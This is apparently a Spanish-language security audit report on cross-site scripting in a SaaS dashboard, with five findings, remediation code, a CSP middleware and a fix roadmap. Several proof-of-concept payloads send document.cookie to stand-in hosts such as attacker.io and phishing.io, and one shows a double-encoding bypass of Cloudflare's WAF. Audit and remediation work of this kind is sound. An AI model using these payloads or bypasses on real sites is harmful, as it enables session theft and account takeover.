🛡️
Informe de Seguridad Confidencial
CULTIVA IA — Servicio de Seguridad Web
🔒 Confidencial Entorno: Staging 2026-06-16

Auditoría XSS — GrowthStack

Cross-Site Scripting Detection & Remediation Report · app.growthstack.io · React 18 + FastAPI stack · Cloudflare WAF

Resumen Ejecutivo

Durante el análisis de la plataforma GrowthStack SaaS (staging.growthstack.io) se identificaron 5 vulnerabilidades XSS distribuidas en 6 puntos de entrada auditados. El hallazgo más crítico es un XSS Almacenado en el campo "Nombre de campaña" que afecta a todos los usuarios con acceso al dashboard, incluyendo los dashboards compartidos con clientes finales.

El WAF de Cloudflare bloquea payloads básicos (<script>), pero es bypasseable mediante variantes con SVG y atributos de eventos. La ausencia total de Content Security Policy amplifica el impacto de todas las vulnerabilidades encontradas.

Se recomienda acción inmediata en los hallazgos XSS-001 y XSS-002 antes de volver a producción. El resto puede abordarse en el siguiente sprint de seguridad.

Distribución de Riesgo

7.8
CVSS Score Global
CRÍTICO 1
ALTO 2
MEDIO 1
BAJO 1
6
Endpoints Auditados
247
Payloads Probados
5
Vulnerabilidades XSS
89%
Bloqueados por WAF
🎯

Alcance de la Auditoría

§1
Endpoint Tipo de Input Método XSS Tipo Estado
/search?q= Query parameter GET Reflejado ⚠ Vulnerable (WAF bypass)
POST /api/campaigns → campo name JSON body, almacenado en BD POST Almacenado ✗ CRÍTICO — sin sanitizar
/reports/:id/comments HTML enriquecido (textarea) POST Almacenado ⚠ Vulnerable — bleach mal configurado
/embed?title= Query parameter, renderizado cliente GET DOM-based ⚠ Vulnerable — innerHTML sin escape
/settings/profile → campo website URL almacenada, renderizada como enlace PUT Almacenado ⚠ Medio — javascript: URL permitida
?next= (post-login redirect) Query parameter GET Reflejado ✓ Solo Open Redirect (bajo)
🔴

Hallazgos Detallados

§2
Crítico
XSS-001 · CVSSv3: 9.3 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)
Stored XSS — Nombre de Campaña (Dashboard Global)
📍 POST /api/campaigns · campo: name 🏷 XSS Almacenado 👥 Impacto: todos los usuarios de la cuenta + clientes

Descripción

El campo name de la entidad Campaign se almacena directamente en PostgreSQL sin sanitización y se renderiza en el dashboard mediante React con dangerouslySetInnerHTML. El payload se ejecuta para cualquier usuario que abra el dashboard, incluyendo dashboards compartidos con clientes.

El WAF bloquea <script> pero el payload con <svg onload=> no está en las reglas activas de Cloudflare y pasa sin inspección.

Payload de Prueba de Concepto

# Nombre de campaña malicioso enviado via API: "name": "Q4 Growth <svg onload=fetch('https://attacker.io/c?d='+btoa(document.cookie))>" # Resultado en el dashboard (React renderiza sin escape): dangerouslySetInnerHTML={{ __html: campaign.name }} → ejecuta fetch() con las cookies de CADA usuario que carga el dashboard # Cookies obtenidas en el servidor atacante: session=eyJhbGciOiJIUzI1NiJ9... ← JWT de sesión robado _ga=GA1.2.1234567890 ← Analytics

Impacto Real

  • Robo de sesiones JWT de todos los usuarios que abran el dashboard
  • Persistencia: el payload se mantiene hasta que se elimine la campaña
  • Exfiltración de datos de clientes visibles en el dashboard actual
  • Defacement del dashboard de clientes (shared dashboards)
  • Posible escalada a Account Takeover sin interacción adicional

Remediación

  1. Eliminar dangerouslySetInnerHTML del componente CampaignCard — usar {campaign.name} (React escapa por defecto)
  2. Añadir validación server-side: rechazar nombres con caracteres HTML (<>&"')
  3. Ejecutar sanitización en ingesta: html.escape(name) en el endpoint FastAPI
  4. Migrar datos existentes en BD: script de limpieza sobre la tabla campaigns
Alto
XSS-002 · CVSSv3: 7.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N)
Stored XSS — Comentarios en Reportes (bleach misconfiguration)
📍 POST /reports/:id/comments 🏷 XSS Almacenado 👥 Impacto: todos los colaboradores del reporte

Descripción & Payload

La sección de comentarios usa bleach para sanitizar HTML, pero la configuración permite la etiqueta <a> con el atributo href sin restricción de protocolo. Esto permite inyectar URLs javascript:.

# Payload en comentario (HTML permitido): <a href="javascript:fetch('https://attacker.io/steal?t='+document.cookie)"> Ver análisis completo → </a> # Config vulnerable actual (backend/utils/sanitize.py): allowed_attrs = {'a': ['href', 'title']} # ← sin protocols=['http','https'] # El enlace malicioso se muestra como texto normal # Al hacer click, ejecuta JS en el contexto del usuario

Remediación (1 línea)

# backend/utils/sanitize.py — ANTES: cleaned = bleach.clean(html_input, tags=allowed_tags, attributes={'a': ['href', 'title']}, strip=True) # DESPUÉS — añadir protocols: cleaned = bleach.clean(html_input, tags=allowed_tags, attributes={'a': ['href', 'title']}, strip=True, protocols=['http', 'https']) # ← bloquea javascript: data: etc.

Evidencia del Ataque

Comentario malicioso publicado en reporte compartido:

Marcus Attacker
hace 2 minutos

Excelente reporte! He encontrado los datos que necesitabas.

<a href="javascript:...">Ver análisis completo →</a>

Al hacer click → roba cookie → Account Takeover

Impacto

  • Cualquier colaborador invitado al reporte puede inyectar el payload
  • Los reports compartidos con clientes multiplican la superficie de ataque
  • Phishing de alta credibilidad dentro de la plataforma
Alto
XSS-003 · CVSSv3: 7.1 (AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N)
DOM-based XSS — Widget de Embed (innerHTML sin escape)
📍 /embed?title=... (componente React legacy) 🏷 XSS DOM-based 👥 Impacto: usuarios externos que embedan el widget

Código Vulnerable

// components/EmbedWidget.jsx (legacy — no usa JSX) const params = new URLSearchParams(window.location.search); const title = params.get('title'); // fuente: URL param // SINK PELIGROSO — no hay escape: document.getElementById('widget-title').innerHTML = title; // ↑ ejecuta HTML arbitrario del parámetro URL # URL de ataque: /embed?client_id=acme&title=<img src=x onerror=alert(document.cookie)> # El WAF no inspecciona el fragmento después de ?title= en este endpoint

Fix

// FIX — usar textContent en lugar de innerHTML: document.getElementById('widget-title').textContent = title; // textContent renderiza como texto plano, nunca como HTML // O migrar a React moderno (JSX escapa por defecto): return <h2>{title}</h2>; // React aplica escape automático

Por qué es difícil de detectar

Los DOM XSS son invisibles para el servidor. El payload nunca aparece en logs de servidor ni en capturas de WAF. Las herramientas de análisis estático server-side no lo detectan.

Se requiere análisis de código JavaScript cliente o herramientas especializadas como DalFox con soporte de headless browser.

Herramienta de Detección

# Detección de DOM XSS con dalfox (headless): dalfox url "https://staging.growthstack.io/embed?client_id=test&title=FUZZ" \ --browser # activa headless Chrome para DOM XSS --skip-bav \ --output xss-embed-results.txt # Output dalfox: [V] [XSS-003] /embed?title=<img src=x onerror=alert(1)> → Triggered! Sink: innerHTML @ EmbedWidget.jsx:14 Source: URLSearchParams.get('title')
Medio
XSS-004 · CVSSv3: 5.4
Stored XSS — Campo Website en Perfil (javascript: URL)
📍 PUT /settings/profile · campo: website 🏷 XSS Almacenado via href 👥 Impacto: compañeros de equipo que vean el perfil

Vector

# Payload en campo website: website: "javascript:document.location='https://phishing.io?s='+document.cookie" # Renderizado en perfiles de equipo: <a href="{user.website}">Visitar web</a> → click ejecuta JS

Fix Rápido

# Validar en backend que la URL empieza por http/https: def validate_website_url(url: str) -> str: parsed = urlparse(url) if parsed.scheme not in ['http', 'https']: raise ValueError("URL must use http or https") return url
Bajo
XSS-005 · CVSSv3: 3.1
Reflected XSS — Búsqueda (WAF bypass con encoding)
📍 /search?q= (server-side render Jinja2) 🏷 XSS Reflejado 👥 Impacto: requiere link crafteado — phishing

Contexto

La página de búsqueda usa Jinja2 legacy. El WAF bloquea payloads directos pero el double-encoding pasa.

# Payload bloqueado por WAF: /search?q=<script>alert(1)</script> ← 403 # Payload que bypassa (double-encoded): /search?q=%253Cimg%2520src%253Dx%2520onerror%253Dalert%25281%2529%253E → Cloudflare no lo detecta como XSS → Jinja2 decodifica dos veces → ejecuta # Template Jinja2 vulnerable: <p>Resultados para: {{ query | safe }}</p> ← | safe desactiva auto-escape!

Fix

# Eliminar el filtro | safe — Jinja2 escapa por defecto: <p>Resultados para: {{ query }}</p> ← seguro # Y activar FORCE_AUTOESCAPE globalmente en app.py: env = Environment(autoescape=True) ← escapa todo por defecto

Content Security Policy — Configuración Recomendada

§3

✗ Estado Actual (sin CSP)

HTTP/1.1 200 OK Content-Type: text/html # No hay cabecera Content-Security-Policy # → cualquier script inyectado se ejecuta # → XSS sin restricción de ningún tipo

✓ CSP Recomendada (con nonce)

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random_per_req}' https://www.googletagmanager.com https://js.stripe.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.growthstack.io; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; report-uri '/csp-violations';
⚙️

Implementación CSP en FastAPI — Middleware de Nonce

Python · FastAPI
import secrets from fastapi import Request from starlette.middleware.base import BaseHTTPMiddleware class CSPMiddleware(BaseHTTPMiddleware): async def dispatch(self, request: Request, call_next): # Generar nonce único por petición nonce = secrets.token_urlsafe(16) request.state.csp_nonce = nonce response = await call_next(request) # Añadir cabecera CSP csp = ( f"default-src 'self'; " f"script-src 'self' 'nonce-{nonce}' " "https://www.googletagmanager.com https://js.stripe.com; " "style-src 'self' 'unsafe-inline'; " "img-src 'self' data: https:; " "frame-ancestors 'none'; " "report-uri /csp-violations" ) response.headers["Content-Security-Policy"] = csp return response # Registrar en app.py: app.add_middleware(CSPMiddleware) # En templates Jinja2 (pasar el nonce): # <script nonce="{{ request.state.csp_nonce }}"> # app.init(); ← ejecuta porque tiene nonce # </script> # <script>alert(1)</script> ← bloqueado por CSP (sin nonce)
🔧

Guía de Remediación Completa

§4
🐍

Codificación de Salida Contextual — output_encoding.py

# backend/utils/output_encoding.py import html, json from urllib.parse import quote def encode_html(value: str) -> str: """Cuerpo HTML: <p>{value}</p>""" return html.escape(value, quote=True) def encode_js(value: str) -> str: """Contexto JS: var x = {value};""" return json.dumps(value) # Escapa \, ", newlines def encode_url(value: str) -> str: """Parámetro URL: /page?q={value}""" return quote(value, safe='') def validate_url(url: str) -> str: """Valida que la URL sea http/https únicamente.""" from urllib.parse import urlparse p = urlparse(url) if p.scheme not in ('http', 'https'): raise ValueError(f"Protocolo no permitido: {p.scheme}") return url
⚛️

Fix React — Eliminar dangerouslySetInnerHTML

// ANTES — CampaignCard.jsx (vulnerable): function CampaignCard({ campaign }) { return ( <div> <h3 dangerouslySetInnerHTML={{ __html: campaign.name }} /> <p dangerouslySetInnerHTML={{ __html: campaign.description }} /> </div> ); } // DESPUÉS — escape automático de React: function CampaignCard({ campaign }) { return ( <div> <h3>{campaign.name}</h3> {/* React escapa automáticamente */} <p>{campaign.description}</p> {/* Sin dangerouslySetInnerHTML */} </div> ); }
📅

Plan de Remediación Priorizado

§5

Roadmap de Acciones

Inmediato (0-48h)
  • Eliminar dangerouslySetInnerHTML de CampaignCard (XSS-001)
  • Añadir protocols a bleach en comentarios (XSS-002)
  • Bloquear endpoint /api/campaigns temporalmente si no se puede parchear hoy
  • Limpiar datos maliciosos existentes en BD
Corto plazo (1 semana)
  • Fix DOM XSS en EmbedWidget (textContent vs innerHTML) (XSS-003)
  • Validar protocolo URL en perfil (XSS-004)
  • Eliminar filtro | safe de Jinja2 + activar autoescape (XSS-005)
  • Desplegar middleware CSP con nonce en staging
Medio plazo (1 mes)
  • Activar CSP en producción (modo report-only primero)
  • Pipeline CI/CD con dalfox en cada PR
  • Análisis estático de sinks DOM en código JS heredado
  • Formación del equipo en codificación de salida contextual
ID Severidad Esfuerzo Fix Componente Responsable Sugerido Plazo
XSS-001 Crítico 30 min CampaignCard.jsx Frontend Lead HOY
XSS-002 Alto 15 min backend/utils/sanitize.py Backend Dev HOY
XSS-003 Alto 1-2 h EmbedWidget.jsx (legacy) Frontend + QA 3 días
XSS-004 Medio 30 min PUT /settings/profile Backend Dev 1 semana
XSS-005 Bajo 15 min search.html (Jinja2) Backend Dev 1 semana
}